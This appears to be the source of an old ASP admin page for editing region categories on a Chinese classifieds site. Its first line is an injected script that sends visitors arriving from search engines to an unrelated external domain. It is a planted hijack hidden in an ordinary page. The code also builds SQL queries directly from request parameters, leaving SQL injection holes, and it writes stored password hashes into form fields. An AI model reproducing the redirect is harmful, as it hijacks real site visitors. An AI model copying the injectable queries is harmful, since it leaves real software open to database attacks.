d:\wwwroot\wuchunhua\admin\cityedit.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="../md5.asp"-->
003:
<%
if session("china_admin")="" then
004:
response.redirect "login.asp"
005:
end if
%
>
006:
<%
dim action,id,dcity
007:
id=request.QueryString("id")
008:
action=request.querystring("action")
009:
dcity=trim(request("city"))
010:
dcityadmin=trim(request("cityadmin"))
011:
dcitypass=HtmlEncode(trim(request.form("citypass")))
012:
if dcity="" and action<>"" then
013:
response.write "<script LANGUAGE='javascript'>alert('请认真填写!');history.go(-1);</script>"
014:
response.end
015:
end if
016:
select case action
017:
case "add"
018:
set rs=server.CreateObject("adodb.recordset")
019:
rs.open "select * from china_city where city='"&dcity&"' and threeid=0 and twoid=0",conn,1,1
020:
if rs.EOF and rs.BOF then
021:
rs.close
022:
rs.open "select * from china_city where threeid=0 and twoid=0 order by id desc",conn,1,1
023:
if rs.eof and rs.bof then
024:
id=1
025:
else
026:
id=rs("id")+1
027:
end if
028:
rs.close
029:
rs.open "china_city",conn,1,3
030:
rs.AddNew
031:
rs("id")=id
032:
rs("city")=dcity
033:
rs("cityadmin")=dcityadmin
034:
rs("citypass")=md5(dcitypass)
035:
rs("indexid")=trim(request("indexid"))
036:
rs("indexshow")=trim(request("indexshow"))
037:
rs.Update
038:
rs.Close
039:
set rs=nothing
040:
else
041:
response.write "<script>window.alert('你输入的一级目录名称:"&dname&"已经有了!');history.go(-1);</script>"
042:
end if
043:
case "edit"
044:
set rs=server.CreateObject("adodb.recordset")
045:
rs.open "select * from china_city where twoid=0 and id="&id,conn,1,3
046:
ycity=rs("city")
047:
rs("city")=dcity
048:
rs("cityadmin")=dcityadmin
049:
rs("indexid")=trim(request("indexid"))
050:
rs("indexshow")=trim(request("indexshow"))
051:
if dcitypass<>rs("citypass") then
052:
rs("citypass")=md5(dcitypass)
053:
end if
054:
rs.Update
055:
rs.Close
056:
set rs=nothing
057:
sql="update china_data set city_one='"&dcity&"' where city_oneid="&id&" and city_twoid=0"
058:
conn.execute sql
059:
060:
case "del"
061:
set rs=server.CreateObject("adodb.recordset")
062:
conn.execute ("delete from china_city where id="&id&"")
063:
sql="select * from china_data where city_oneid ="&id&""
064:
set rs=server.createobject("adodb.recordset")
065:
rs.open sql,conn,3,2
066:
Set fdel = CreateObject("Scripting.FileSystemObject")
067:
if not rs.eof then
068:
For iPage = 1 To rs.recordcount
069:
adid=rs("adid")
070:
pic=rs("pic")
071:
rs.delete
072:
rs.update
073:
sql1="delete from china_message where adid ="&adid&""
074:
conn.execute(sql1)
075:
rs.movenext
076:
'''''''''''删除html开始''''''''''''''''
077:
tempImageDir = Server.MapPath("../html/"&adid&".htm")
078:
fdel.DeleteFile(tempImageDir)
079:
if pic<>"" and lcase(left(pic,7))<>"http://" then
080:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
081:
end if
082:
'''''''''''删除html结束'''''''''''''''
083:
if rs.eof then exit for
084:
next
085:
end if
086:
rs.close
087:
sql="select * from news_data where city_oneid ="&id&""
088:
rs.open sql,conn,3,2
089:
if not rs.eof then
090:
For iPage = 1 To rs.recordcount
091:
adid=rs("adid")
092:
pic=rs("pic")
093:
rs.delete
094:
rs.update
095:
sql1="delete from news_message where adid ="&adid&""
096:
conn.execute(sql1)
097:
rs.movenext
098:
'''''''''''删除html开始''''''''''''''''
099:
tempImageDir = Server.MapPath("../html/news/"&adid&".htm")
100:
fdel.DeleteFile(tempImageDir)
101:
if pic<>"" and lcase(left(pic,7))<>"http://" then
102:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
103:
end if
104:
'''''''''''删除html结束'''''''''''''''
105:
if rs.eof then exit for end if
106:
next
107:
end if
108:
set fdel=nothing
109:
rs.close
110:
set rs=nothing
111:
conn.close
112:
set conn=nothing
113:
response.Redirect "cityedit.asp"
114:
end select
115:
%
>
116:
<html>
117:
118:
<head>
119:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
120:
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
121:
<meta name="ProgId" content="FrontPage.Editor.Document">
122:
<title>地区分类管理</title>
123:
<link rel="stylesheet" type="text/css" href="style.css">
124:
</head>
125:
126:
<body>
127:
128:
129:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
130:
<tr>
131:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">一 级 地 区 分 类 管 理</font></td>
132:
</tr>
133:
<tr>
134:
<td bgcolor="#FFFFFF"> 首页<br>
135:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
136:
<tr align="center" bgcolor="#FFFFFF" height="20">
137:
<td width="30">编号</td>
138:
<td>地区名称</td>
139:
<td>显示顺序</td>
140:
<td>首页显示</td>
141:
<td>地区管理员</td>
142:
<td>地区管理密码</td>
143:
<td>管理操作</td>
144:
</tr>
145:
<%
set rs=server.CreateObject("adodb.recordset")
146:
rs.Open "select * from china_city where id>0 and twoid=0 order by id",conn,1,1
147:
dim follows
148:
if rs.EOF and rs.BOF then
149:
response.write"<tr bgcolor=#FFFFFF><td colspan='5'><p align='center'><font color='red'>暂无地区分类!</font></td></tr></table><br>"
150:
follows=0
151:
else
152:
do while not rs.EOF
153:
i=i+1
154:
%
>
155:
<form name="form1" method="post" action="?action=edit&id=
<%
=int(rs("id"))
%
>">
156:
<tr bgcolor="#FFFFFF" align="center">
157:
<td>
<%
=i
%
></td>
158:
<td>
159:
<input name="city" type="text" id="city" value="
<%
=trim(rs("city"))
%
>" size="8">
160:
[<a href="cityedit_two.asp?id=
<%
=rs("id")
%
>">子目录</a>]</td>
161:
<td>
162:
<input name="indexid" type="text" size="2" value="
<%
=trim(rs("indexid"))
%
>">
163:
</td>
164:
<td>
165:
<select name="indexshow">
166:
<option value="yes"
<%
if rs("indexshow")="yes" then
%
>selected
<%
end if
%
>>显示</option>
167:
<option value="no"
<%
if rs("indexshow")="no" then
%
>selected
<%
end if
%
>>隐藏</option>
168:
</select>
169:
</td>
170:
<td>
171:
<input name="cityadmin" type="text" id="cityadmin" value="
<%
=trim(rs("cityadmin"))
%
>" size="12">
172:
</td>
173:
<td>
174:
<input name="citypass" type="password" id="citypass" value="
<%
=trim(rs("citypass"))
%
>" size="12">
175:
</td>
176:
<td>
177:
<input type="submit" name="Submit" value="修 改">
178:
179:
<input type="button" name="DEL" onclick="{if(confirm('确定要删除这个地区分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?city=
<%
=rs("city")
%
>&action=del&id=
<%
=rs("id")
%
>';}return false;}" value="删除" >
180:
</td>
181:
</tr>
182:
</form>
183:
<%
184:
rs.MoveNext
185:
loop
186:
follows=rs.RecordCount
187:
end if
%
>
188:
</table>
189:
<br></td>
190:
</tr>
191:
</table>
192:
<br>
193:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
194:
<tr>
195:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 一 级 地 区</font></td>
196:
</tr>
197:
<tr>
198:
<td bgcolor="#FFFFFF">
199:
<br>
200:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
201:
<tr align="center" bgcolor="#FFFFFF" height="20">
202:
<td width="30">编号 </td>
203:
<td>地区名称</td>
204:
<td>显示顺序</td>
205:
<td>首页显示</td>
206:
<td>地区管理员</td>
207:
<td>地区管理密码</td>
208:
<td>确定操作</td>
209:
</tr>
210:
<form name="form1" method="post" action="?action=add">
211:
<tr align="center" bgcolor="#FFFFFF">
212:
<td>
<%
=rs.RecordCount+1
%
></td>
213:
<td>
214:
<input name="city" type="text" id="city" size="12">
215:
</td>
216:
<td>
217:
<input name="indexid" type="text" value="0" size="2">
218:
</td>
219:
<td>
220:
<select name="indexshow">
221:
<option value="yes" selected>显示</option>
222:
<option value="no">隐藏</option>
223:
</select>
224:
</td>
225:
<td>
226:
<input name="cityadmin" type="text" id="cityadmin" size="12">
227:
</td>
228:
<td>
229:
<input name="citypass" type="password" id="citypass" size="12">
230:
</td>
231:
<td>
232:
<input type="submit" name="Submit3" value="添 加">
233:
</td>
234:
</tr>
235:
</form>
236:
</table>
237:
<br></td>
238:
</tr>
239:
</table>
240:
</body>
241:
</html>
242:
243:
244: